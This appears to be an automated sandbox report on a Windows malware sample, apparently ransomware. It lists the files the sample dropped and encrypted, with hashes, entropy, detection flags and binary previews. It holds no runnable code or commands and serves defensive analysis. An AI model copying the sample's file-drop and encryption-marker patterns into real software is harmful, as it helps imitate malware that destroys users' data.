Preview:	<svg .....=.#.......,.....=Y9..zm....._O.....P...%tE.9...f`.....X.f...Pz-..K..G...i6C...9.P.6 ..J}<...F...K..T..rU....4.,..d89..'.TB.....X.".?..#..X..-.O.....B.<./.wL.......).i<...D.Kd..=K.w.(.....Hk..wG..CG.....k>.P../.......+.....W.N...'..+..t..d..{8..f../..P.?..4....^H.:......<...{/$km.\|i.....P.S. ...T.....4.........wU6...zffp....W..A..2..]@a0...y.\|'.a..Aw..-N...8.....C+....KF"...w...N._.Vin...rG..JD......Zov.0K/.9...vl%........m'f...CK. ...T.(V0c..}v...K..\|RTd...M.V.v.$.....H4...N.. I%%.?<.-..TE5..71.........:...I..U(ZN...!./..NTG.H..z.....q........Y...Y..m.x.F.b. ..m...H.....8.T.i..h5c.....G.fh.....-....0.S.>....lB.R3.?.P...m..c.y.5...*+.Ur...n.......UT.4.....c].U....d.j..P..;6x......o"..`..D..@XN..^..k....I... %.....h$..[.E.T%..5.P..].....@._..c...t.. x....I.....5..._...LY2g.c..%.\n.../.....C.~hU.@G....N.1.z....;{s.:.fR.16...DP.Zw...GO.M.>....h.2Y<../. ..T..WB.O.K..a.>gF.Z{.Bh.I.R..<....a2..B......\|.'..m].WN$.9..94.%...M.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6854
Entropy (8bit):	7.974632518488183
Encrypted:	false
SSDEEP:	192:uAc3fvZmJJflMuTSHTZrzhZDGUgx0tpoWfNlVY3Yt:u3etMuuHJzhZDjoeYYt
MD5:	F7F12BD83CE671C1BA3EFF3B363FF7C2
SHA1:	F99D9D8C588DBE7215263D82BA8B25E465FE1C9F
SHA-256:	D5B7C5F6FB2EEBA8A5278B9524ED832DB6C801FE4D251E242A607F934C5EBE94
SHA-512:	00AAE437A38DAA7F5A1862537557D4F613D95C2B36558C8790565702B904E07A5AE7E386AEF83DCCD193D218387D03D23DAED63F79CF220BE521ACCF53BC885C
Malicious:	false
Preview:	<svg .'KG8.:..#.v..n..?]"..YW\.Jq\|..Fu..o.....(..&........G .b..D.[..X.(.2.N...".m..Vt...%..Ma.A.EF..PFjq..LU.......G.b.g...55.g...E]..g.Bm..Z.}.g.'....1.}<y..%.............Y.Q....Gd..>.e..{...gN`.....(..K!.z......^OYp...i@.C...6z.6}b..8(r..q...~...9.A...v...{...(C1...)$...iZ..I{. .&..X.Sa$eHp.SRY..a.,#...E...k........T8p...e.6..4....=q>Wv.I...X.Y....yc.8..Q.3.}>...c..h.x..<9h..k.s..(7..K....%)..0.X.6Q..z......a.=.b.\|.H..g.[0}.-E.=WO(#"6..R=D..<.].fI....5..@.\|..q.u.....?...!..y......qh....WL.wl..B.I.-. .r.0....\t!......h.......\|.-.u.zu,.z+2..~..m!sDau....H.......C...... ...\|.......\|.0.p.s..,.~.J...p>.[/:.;(.@=&...T....C...(3.../...W......8.u..k...v~Sh..ry.f\|5! ..u..&.!.....x..._z.....i`..3..+M.[.Hc.]../...M3..F}.....+.............O.......%u[....D.r.Hu....Q..V.....J..R...._..}6Y.Vq..i...~.q..]..B..x.`BO..G..3S.3.I./.......'.Q...M.h......mj..v...'......n ..C*+/;.....6.A....!...#..Tx>.....}mb.........on.>........."~...#...2..v..'$.L.e-Q...e \....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	149024
Entropy (8bit):	7.998722540777267
Encrypted:	true
SSDEEP:	3072:/DdTV4iR4HngPt0tdwM1CruzDX+ceq7V7+MR4/rpzbpeZ:/DjRRGngPat0uqceAvO9XwZ
MD5:	F57DBC5BFF77926EC254369CEBCE3B21
SHA1:	6D1A1C56B37FCDBE2905DB4E7F977EE9DCBE049D
SHA-256:	E0BAD7EC3EED604ABCD9D17F009A7C2C6C345966906909F41AF083FAFC57A043
SHA-512:	98465B98632E8D23294704C3891406D3FBFEE6683058BDDFEF69496ABB59D7752738AD23EA1B1FE01EA7B72A4A5955DCE809969B1E869AA68595A10BE5D095AD
Malicious:	true
Preview:	{"locd.+.A.ph5..yo.{:..V?tV.....l.2g.+..c..BHL>..L....d.M..Eg...P...ER...6u...x]u?X...[..7.9[.q.9?...,.G.w..R.o..8....F.~..-.`3Gn{.[.\...[K.L.F.F.8..c{<TY8p..`.`.m.....>..lI....u..._.V.m......P.7.1B.....[@..ig.=.2.v..^Z......t..A-.N...--....h.Mk.....e.z..l.a.Z..,.4\r@S0~.x2......3#..{..?....q..d4.3,...."Lv.....k:._h..)1.........<...3.c^....`..f..9Oq.'!<.!-X...._/S..N..p..L..g.@.......%......<et...c...KR...s.q.,W...Sj.....~Gqn......................[w.i..^....4.{.P3.@q.. y."..K..0j...8.f./.![:..@.......:pO..4i.`...0J."...et.o...mT.-.. d.Nou}...S -Kdr.<U..{... ..G.[.[.).,.1&.f.o..G]"4..>F.&..F..6.0..GhXu..wJ....f..9.6...].F9s.M8.@.Q..t.>...-..TP~..M\|{m.....F.`..G.dB...d..z.:B..t'..V.7.?#n...Z.;..=-....6..[..........n.........X9bIB..l..^B..m.s..Q..G}>F.........i.....N.F...I..s..M2._o..`IC..\|`6..7..+.....O.L!..vrC.N.....P.WfF.}.F3v..T.9.K..$.=..........p....68(..k.G.4...6....(.......X.N..3.......4z....*..._...$:...z.K..v...E{........H..

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978468205456316
Encrypted:	false
SSDEEP:	192:InS/7gEldUnMtaXKorVD4Q7Gmtj8zZaaZ6Im9caFCQkNFiWLZMGO:h+nnXqQymtjsZ6FoQKiWW
MD5:	830CB819EF4D50E52967428C4E47D8EC
SHA1:	3FA8DE838FC770C999E346FD17E74313E163F069
SHA-256:	484D8A151C3398A3E0DD7239A659583901A098DA4C36945934E12AFF9D672ADB
SHA-512:	D8B13FCA55A388F8ADBE2849FADC47AB5C0A6A4BE38C9E5BD2354D0078F23AD4022D3776672FA83121BF8E0D4CD465F3690B0252D691F7E067AF8A9D75F1BA1A
Malicious:	false
Preview:	regf.[......[.. l...;..Y0....e D.c.;..8.......s...&...s&.."E.B}...a..v..[.X..u.....Dz..`.d2=z=......Ox}.;..........O.-).l.S...T...S...b...P$....X0..4.....s..n..O.H...v.....d.v/.V.18%];d+U....Kr+J7]...wC.[_6...F.c.U....H....:.Gh9..K.....-..Z.-[6t/g..Vx....B.G....3.O..!.'.!.....q.K.~.ik.Rq...B!.Ch....BD..2`.p..Z.....h!....Z.G...NBb.<...k.....q".}.s....E.D.5..OI.\|...{.0.L..yc.....}..%./.i,.F"<.}....q.].{.].U6..v..WC..E..z..%.K...C.0iT.u^...k.o.._....Y.M.7%.ejR6W.0..s.pm.....Nu.).8z....Rj(.b......Q..f~..pc...^t\|)...C.2.#...'...Z..........oCe.N$..............W4.7r,..v3..i.XJ..+k...C`.!7.e....$..J4...4..f....vf.......\|D\|..;....v9.;.+....v..."..qD.^R....4...s.aD[-.~.R....p....ia.....m....i#.q..:4.6,N.N.....2..~..w..&.. r.B........_...uR..^....}..~.@#.~h4.&%......m?......~......n....}...J.ab...)...i..........QJ8..+c...1.........3...Qu...5Q 1....9P..S.+81b....e.l...$E\|.u..r.B.B=..8.....0....2...J.}....kL..e..R......g..Q..._:....s7/n.KD..@.J..@n...

C:\Users\user\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979873958998565
Encrypted:	false
SSDEEP:	192:rWOBbwpXEAKCG7TIw4YKK9o2Q2YeHlU2DkUQV1H393FqX0:rWOBwpHKLINYRzQ1eHlU2DEN91qE
MD5:	0C80C4903B603B3785D247EC9BBBE5D3
SHA1:	355B0F793D0D05761BF456655BE0F6FC70808713
SHA-256:	26A94CD8502C2E43245A824E00F317B08DB49283F5B1236A0BD0E41BF5120576
SHA-512:	58539DA3F2380FD257C3918114BB683485DC6D6499B8512671AEC821317433E16D36D8D8D26698FDAEEB33C6B02858F31C590DC7643BC1A2E45AF43746128240
Malicious:	false
Preview:	regf....O.F[.2...q....g.G..=F.......)..{P..}.....Q_..d.'..m.>#....M.^]p.7.M&.3l..2.X....@%../v...2.....;X..vx......\|P.p..B.@........+Ib..G.C.U^..g.s+.{H..b.3o.]1sq.(r.R.F.Z....>.n...,....(./....K......"...%..ier...j.\.=..=..4ex.h@....,...w..g...7G..E.&'!..Q.oX...."j.~.w..-..'.M1...e.[E....-D.g..........oc.G..^.$....5W@..Y0X..N.@..."PE#.......W..V..@?\|z......+,K.T.....O{.e&0.P4'.h...~.C[..EJ./..../X..o...N.T..}....o....8./..~.`.)...ck..,..?.S...%..s.uM......H......././...8..Q.....y.4......Ej....{.....5.\.v.+bD.Q..:.~.r..m.....3X..w..1N....Xv...{."..YD....&.F0...=.x.K....G.a..M..0w.d..\g.$.&...zy...<.1...&....7szl..l..4.@...b/y.B.f..............q(.....B..:...'.x.%J.Q<=..h._..,...:..b..j.k.......n.....3....z....$..f\|...o..?.`...u.H......V...(W;......Im.^..-A.....)+..2B\|.w >.H:..A.Tq.C..c."...#.......V.....3.A..#..g..I5G...et..@...e......$..CJ....%.C^.#..E.`N).aB........7..f....HL&;..E.....b..Q...k_.b.=Es.qR.:.\|C).[...yL.%..C.}4...K_p.9....t0.C.;.Q

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_3_2023__13_9_20.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.606137725964375
Encrypted:	false
SSDEEP:	12:Cy6FDep1/8bWrErB8jRPQZ7MzOMEonVe5HcMgGxm1VIH5kNkd54iz1+cii9a:CrVeVrsB8ju72OMEoobM1VmUymiAbD
MD5:	3545F72326410B2DEB46558BF745D534
SHA1:	93C1EC5747AB9A89DFA86B2B24BBDF1C5DA2F8C8
SHA-256:	59BD7442D256F8ABA3DA483CD2B44E0B5A36F61A993A51AB2763CCC989EBD453
SHA-512:	20089BE381F4721C11E830898E936D7626FF82FE3346DD1A3C869059C59A1BD37DC46C98B10052AED4D506E02602A1976D730BB78397F62A4026EBD3E64E0C08
Malicious:	false
Preview:	[000:...X...Q..V@...~..w....+.!.........)....-.Y..5...S....L.<...Y.Pc:..9.c.=....X...e..B.\...x....xXh...w...I.&.=....5...7R..r..p..U..g.....x..\|....E...Jf.....a.........n...$.{4.F@.F..Rkt.615Gl.1)Us..:...-..`.E/9...)b.@.......0.....o6.he.Y.$.F....i`LMgNT....'.:.A...)S'..g(.3pk..E.....d...;s&..'..&7(...q.y..Ps.3.l.v.m..L.M.....0HQ...D....e.y....%.......N.I......z!.QN........Td.T.n{6KZ.....hj...1qHl....=.=.5'..i....X..<ry0k.P.[,...6...K....Cs..d..;..Ce....w../..I.....uB..cGj.>J......n..&.v......u...6h....W(SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.20503665535714
Encrypted:	false
SSDEEP:	49152:UjN38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOo:UdF1qd/LKNo
MD5:	3C293BDBBF9BBB439C780A7C52FFA1CE
SHA1:	E3558017AEA82B6343506CE72B144F725F31926C
SHA-256:	F93D2086C94ED7D0362DFF860C614DFC641AF9120B2CDCEA71A1A815925C8D46
SHA-512:	575070FBEBC2F0D70776FBE5BABE9C5655726E0CF5845B078C9D55D0D88236BECA452751A6CA2ED879E4BE9628A109D90988537BD7EF6E3F02D1BEDA2B623BCC
Malicious:	false
Preview:	Micro........../.@7d...1Z....".y...r=..*%..\b....r..(....aQ-..a..G..r....0.x.. nyO..W...Ji....O.....;m.:.....!...U#.m......o..>..w.4.DG.:.....O.Qi../i.yR....D!q......m......x..yr.P..S......,....(.4.G..w..T.U...7..%...;&..\.\.}.D.r.B.B....X.........[...+L.#..qA..y_}x(........A..I....p.Xf`...._....L,.0=i.__..f....n..!..P.g&.3..%U+Oy..^.m.K.`..K.O...43...M=....l.n.[P<A..+.{..o.}...+y.f\.OH...j..............aq.`2vP\...\|xN..._..x.7.v..f../,....0.A34/....Rh&JF...F.a...yi.....>...c.?.....Dw$.?cLo...Y......jT..jM.Y.(..M.bH:.U.0......^..W....d.Yy.....u......ua~....r.o...g>.".e...;rSl;.N.X...Z../p2.b..#./..-R#z..t..v.E.w.!n....=....L...c.^. .`.;...r...........)..........xJXz...a..l~.G.GN.../ ...7J8n..mw..J!.p..e..y...i.B"8..x-..V...4....7.!....a.: ..]..0=t>AY...:WJ..{.K0....+..mGb)...R..G.f!....W..T..>..].I.....P.Ix...Z'K...].V.+.U...U.i...g...LEi......J....i......%..)...9[d...U,e.L...8I....w........ P.n...R..I...Y.V.Q.e...d.a.....[?.......-

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204902165489803
Encrypted:	false
SSDEEP:	49152:yIVj38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOy:rF1qd/LKNy
MD5:	63ACAAF0D3B71F30E7374836562E1077
SHA1:	243FA450B5E8D539FB85F6DC8499B1F30D336119
SHA-256:	C075C78D379039D5EAC674874DF2E618065636ED985D089A96CE716BD89FCFA1
SHA-512:	7023AC24E53C16C93FA98A1DC929CEA16F0E63B3C5BE5CAF99A634FBCE7CAB66798C4D9BAC26ADDDB5C4862B523C75B3B3C0B062FDC1B9D31ABFD88B4D889492
Malicious:	false
Preview:	MicroH.j.%..[..g....1.......rXfXE.......`.B..]..5.?..K.....G5^&..kB......".&.n\|?.....\|.O.?u.??Z......P.7K..w..G..P.m.7.b.Z.~w.......J;.{.f.o.y..a.I.0..-..o......;..A...x.+..O..;....."...\|G...?m......5.`N.J{.Y.^.3H.ol.s.!.,.5.....]}.5......wQ...r..+..4(5;...(.v.2z.Q1.#RvM..\|.?\|.]...........h..50`3!..,v9.j.L,.L...[V..K....../.@..OgB->.V.w....y......fC..Gv.c.rC....r.^.T<.YN..A..v....V.N.D....O.D..a..i}.$.Q...^...5]....x..TT...[2(......I..S....3.U....nz.n.RL5.I.R.P.!&i.Pq$x.w_.x..!.~X..?T2..m...z..........GW..bs...@.,..`...X.....f.3C........../cZ.YSI!....K.A.;.z.~.TSl.>.w)7B>.....?..E.[.2l...(6\|8.!..@....+..<...........9...b..v...x`...(8.;g...5....Y.8K.N.p.+8w+"y.~..5.f.`t....._I`..)..].k.k....8.rZ.h....6..h.,.....O9........ia..\....I..s@Kc[r3.y....1q...v.!..&v]...>D..-3....+Mm.e_....g.........)*D.$.....e..mft....\7.6O.z..!K5.....c...E.......L._......v?!X.a.a..X..4.[...7..o.......8X...x....Z...![h..\hn...@1......:zY........[w...$..G....

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662529147357029
Encrypted:	false
SSDEEP:	12288:ut8vhjCX047UpK9JQ4aKVmaS4aMz8Pg3lxJo2cvXt0:uqvhQUpsBaKVzaYcAqt0
MD5:	004C5779B833AB8FF4AB0513714343E2
SHA1:	26ACA117102B83BA29604370BC39D197D67F6A8B
SHA-256:	1623DEF80636F9E892275734F4D0831F7DC11B49727F1966062A35B9A7B8DFA3
SHA-512:	F09F5DFA3D02B4DE02168A565889D439E4120112D1755874A39BAFA495CD6DD0058AAD421FE90C309BFCB97C4035A5579C91CC5246DA42CA9C6F013D3E5E52F7
Malicious:	false
Preview:	Micro.tS^4...R...t~.u...._...>...t&........>..C..2....y...n<t....$..!.d..7x.Y5.....)2......./H.).pR:C.:...mniB..)&.h.E..}T.c(..n!qF..q..Z..... Q..ac.O...-.}4qC1.W..T.-...!..x..'7..#.]y..PG...R.U.Fwk..P(.@..cs3. 8...rjF2-8....._.......Y......+...... .k\|=t.7.........d....qw..G.6..d.\+B47..M.\......2......>1p.)~v./....]....E.K..c3z......T.YN..LO..\t..0.....,W..F(_\C.&.,.......m.z.7..0....+.ahWB.....p.....$0'..9.z.....A..9?.6.\uh,.....l.......&...?0.K..C.Y..K..q.3'xu....D.....S.....).M.9.{YD\H+.c....(Vd....;.^.G.h;.8....=)..6I.J...9f.R.w....?.M....s.)N...81...$.&..:x..pm.s..i.e..t.B...J....../VH.7.f.j@T.......$.~.@..qw^.6.<.......l-..H.;3..gE...Ap...s.wj\....5.1.a...... 4<.D.7.x..0...f3.}.)....6.E.%..2...sL...A.}e....eW.T.M.N.~...B.7....<..5`j..i.q.....[m&....../GZ.....p..fP...#.j.8.vEc.&.....-..OR"9.p.D.8g...F,....7..j.M..k.y.W.......k...y+cJ.J.2...F.z.C.z.v.i7...8..........C.@C...............9m]..:....o...J........9....m.Vr&.L.K..<

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662596299694286
Encrypted:	false
SSDEEP:	12288:g+H4evE73OPZa6nJQ4aKVmaS4aMz8Pg3lxJo2cvXth:74eAOPZaABaKVzaYcAqth
MD5:	1219568841E0B3FA376574E7D49F7AEE
SHA1:	2E7164C3832086A3B5F14AD539D7FF29C2E1DF49
SHA-256:	075C3E2AFCC8D721DD375110DBCF3828D4E440BF8CA6393B80A8F34E744634F5
SHA-512:	40D4AB9E3A7832FA3266CFAF49465A6E0B2C3259EC89AE3378B725917871ACE8F24C0F855E281DA1193C468475B2913EE197E2DD9C35D84A2B5627A5A248F77E
Malicious:	false
Preview:	MicroE.(.[.a....f.....!]...Yj..E..>.`..N<..!L7~..F..7..Lg..Y.e.......s(...D....9.....x..^J.c)....S.....l.5v..x.^;..l..=...QI]n.3.\....0..I..i<./X..G.:.....nLZ.;.\|...f....$.=.%.2...s-i(vbt.y.:..6.$.LQ..{)....Gx...:,.&...p..[..CL<..O!h.....I......W..!....kb..3J.e4..Z.8."G..A._......_.Y}.X!.~.....2,......,..........;.\|Ws.j.g.............R.....'k.....W...X:..Q..R;QP.e.:..iz.Kfx#..qM.......<..w+jG..Q9.+.....>`.w..=....s.&..U.s.W.)..R@.....-hl......o.....3..;.]....Z./^bX('...K...6L.......d.+...D...b3j...j..Q..b..h.=....J.....G.\I....^...Y.xYFm...R..N[.7.vH...$.E8.F...^.CN\.^-V.xx.tH........F0M'j'K\|..x......_s........9.E...-.+9%b.._.wW..E.z..........I..1...d.I..t.P..b.........c.t......Z.G..f.C9....gB.<.._...i$.!-.X..h.=.~..0]O.j5?l.C(..Kk...g...'....>$.6."..N..q6.7.....,x..\|.j.].b.o.C.e.....a..HF.p.c.....?./............g4.......p..,". ..S.CS..@....z.....<./........U..e.*v.S..(o..f.~..].wN..-K...L..!Q..v..>....&.....,......\|]..2....5

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992254758098392
Encrypted:	true
SSDEEP:	384:nXBo1b/sjULyMbL6pV33JZXjwekiYcGFTtesgIMgPS2AFux/7rkYv44mTMgQ03Ov:nXMwwLyMfujPF8t2E/7rbApTMg7dzE
MD5:	077F4A38BB69EA96E6AB1DFBD18D1151
SHA1:	32E27D7D4F40ED45EED2713F40212EEF1A61C37C
SHA-256:	BD6B2E622F23C87832EE04CC004A08BD5660B7C988E7A4D77719434F50350DB9
SHA-512:	C5FCD5AAED43A34BFB844D2B6EE8354833E467EFB5C493DF72D66CD885B3D319D3B17C1AB1F41D3456EE487B6DB60C1C8AF6BB39FB2867DBBBC61F9652EADFB9
Malicious:	true
Preview:	03-10X.R.].&.X.j.?,...K..0..]........H...#....^=yHz.....+...t...E...]..<.":.3.R..U...2S....C,...k.....O^.1}....1.".........%].......... .[.K.@.A..E.5$.h.....8..2.'Y{..u..l.,.&.4i.Z..#..a........kHL..4.fO\|.........e....vH..6.s^....M.sD!.....=X....0..Wi...m.`u..:LN.B."B]...].....!`..:..KA..j..a...f.$.J...K....O...peC[..:..~.O.I.N.gp?...O..$6..`.I>..-l...O..6F.u.:......1{..d.eb...S.lIe.J.>..._Y..c0Q...2....x.......n..\|.K...<.J...y.x..)...).}...=.H...^....`.....!.=_v.V.,.C.o.....0-.J..i\|.9.......5.s..\.J....mX0c....../.;...I.xMs.s...KR.D..m...}.......%....&3....=.\@Fv0AP.P.CYf._...R......XS?..3..IS..V....Z .......LY.9..$..9...U..h..}+...Kqz>$m@R...y.H."..k..oi..N,.....K.....f.A..R4.....Su)cG.ocCKN.V...'..%.}8`U.....f#y.$..d...>..=....ID..xv..vv.._5V...P.k.heCU.1../...[{..S..$....!@..S....e..$..5z....p..8..x.?...G...\|.$.l>...`..k.b....E.Q.4.d..%dF.e.Q1....v{.1.uu.....w.y.e.Hx..Eq.)k'.R''...-.{a.%Vc....(...M4...!...M.iS..A..J.,......

C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	836096
Entropy (8bit):	7.623584649703693
Encrypted:	false
SSDEEP:	12288:E6uXncCdGzaVsGgZLhq1At2krFYkWog9feZN7kF5MM7GZ3SVt//sjdnN7E:EncKWa+jZRrFVWBfFFHQa187
MD5:	9F91AFDB58B312A555DB2978D7157150
SHA1:	96D3DE3AC3CA32EFCC3D911B0389E13F43AE1C13
SHA-256:	946E4A86F1CB22FAB17F7E3A9A0422421E781B99357436E816DDB00E5154ED48
SHA-512:	9596E362858B1484CB6E566CAC32C394A9E26B2CBC278AFA14E046A9DC0D12B75AE1E76E71D43CC6287E64A47EEC35328275AA86F3CBEC7C6C0DC836CA5608CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G..a&.La&.La&.Llt`L\|&.Llt_L.&.Llt^LM&.Lh^,Lf&.La&.L.&.L.ZL`&.LltdL`&.L.aL`&.LRicha&.L................PE..L....Q.c............................o?............@.............................................................................P.......................................8...............................@............................................text............................... ..`.rdata.............................@..@.data...`]..........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\bowsakkdestx.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.7502014731526145
Encrypted:	false
SSDEEP:	24:YWMq9rlJ52Fa0jDVEFT3XNwP0AzNR3WBbTbD:YWMq9lmFaaV03XNwPVL3WD
MD5:	1941B8C2076C506BE2467AFD291DADF2
SHA1:	D246403B51DAE6CFFB2F2216D473FB8F05ABE5A3
SHA-256:	D4CAC73D8FE42F1F468B4AC7C7B9674471E81DA7DE00372C41690BD22851F47F
SHA-512:	69515E0B2EB716D0406711666F41C21859DFEA8F0DEC9A209A2BE2DB221C656218A24A4EBB92BCCF24F1F7E3CC1D8A7F087EEC569F9B805CD4CC40D0F8379491
Malicious:	false
Preview:	{"pub..+=z.ze.$.-.k.XM{v....E...x.\..c...#zSV......'...\.R..."..w....g..z.16I'.M7.qA...Ka.J. .<...K..9....Ao..(.kL.gNp.............m.....Y..A....!..........k..\...!.".....'....q..y.......=.>.Y.....r..'($....R.....6]..>..%k...U'+.....o.{$....."....&..I..[+.;.6.......U....p.;.F.{.\...>C..f%.^......l...K..5=Z..+x..U....SG^P.OR.R.w..X..U......_..mA..:.sk[...x...Yv.I^e..Fy..b..t.p.]..\|...0.- ..:.n.."...L.`.GL....J=......&g.4......Fv...b......w+..H....A...8.9.E2'.Mp..<.`%.>x.;(r.3{.f..B>4.-..Gk}..<..`IiYk..?}:.v+f.O$....+...yq.3@O.....5.:j.a...w.].w.<..g....3........."....j.m(.......5I:.0......#....2.U.8....W....>...`.w. 3...C.%0.{J..{..]....].rRlE.....;s.0un....!T^P....;.c....ev.......-..0..}L..)w.[Z.,..V....Pg9S.c.j..W.l.3...-..M_Q..G.I.)..Z....{K.On..p..X.#SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997299257249304
Encrypted:	true
SSDEEP:	1536:5U+2Tpg3GL9oZNJ6jfVaJHQW3eTFuNQl7MOexrc3t:5U+wLaZNJ6iQomF9Shxrcd
MD5:	F8E437F288A545CC0220D491320D3AF4
SHA1:	58BFD637671B6FEB8EA27A0307A0C1DD241CC154
SHA-256:	0F3CCE5D861D552E147613A21F356D56BBB6CA7FD861F8AC2917217B26B02675
SHA-512:	03FDE4F391FD4006F53AD9941DD586A8F2D55AA2231E383279FA7C209C12F43824E87A77034A48E0FD7DB8BB07DC95F9490326B57B415CA5E9C5D3F2A6CAEFF6
Malicious:	true
Preview:	0....=..-^..3...Xl....#....cbK..!).[...9....P.....B....0<.H.".p..G5.(..._Msc.{x.._.U.o>..T.g........f.7..:...hbD%# J.d.Qr.Z@..I..u...$a...eL.,.y{."..,-g?\|A..1......&..^.I.{....zq......k..7....Pf.y..8... ..?.../fq......A....{..>ZY..U.).s.d..,.D}...^!..&ov..M..}ek.5Hv.,0KWc.N..,/^~.b"ws.K<U.'.Ze........0...]t.P..i..N..r.)..)$..x...../....I..32v..:..>)\|.S.g..J@?._...pR...s~....a.mC>~!E.v(".;.C...lW].B.K...fFO..a...i.\|...3.........v.,.T....}C.&..kZQ.&.-.. E..n......%u.[.q...T...).N....s.0#.i.C*.W..T.;.%_.m....(......W.b...'..;.....\.....`,..Mk..n..Re....r......p7..8..ig6d..Oc.y j..K.../.QZ....?..'}.%...<s.p2f.L..D.,.X.j.0(..N...h.tSy....W...,.c4!.T.~..k..w._.y....jL.D.#..W=.D.y...M...L.......;...At..g...?..p.S.C!..b...f/&....0...p..,5..{.&.x....k4..>.9;.......H.....u..g.S....]M./....NK(...]....".....jh.SZ.JB.H.m........"hj..d...Pg..%?.R....d..I...7..e.\|.G..r..N.n@...... .....;Y......B.u7o..)8.T........XN...D.:.9.7$..{x..>..6. ..._....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.810090769951781
Encrypted:	false
SSDEEP:	24:ydtUrsrNXTVzJbqNPIBjEJk2t+G1rMysDnDFd6tAbD:ydasDVz9qijwl+GaXDiMD
MD5:	A7AF31CD152B3061F98F0153191D3827
SHA1:	27658F15BBF686555D502EE7E11521544D414FE0
SHA-256:	EB361AED33623E869E38AE2B988F99C689B2E92912CC18EDEBD492D33F4E1084
SHA-512:	81B5C05FF85255CF9826213653ABDE1B76463DEDE1A0E4519FEA01A4352074DC58ED0004A66F930BD84D1AB52BA1CC388A34AE83E00F34E8771EFADB545F39E0
Malicious:	false
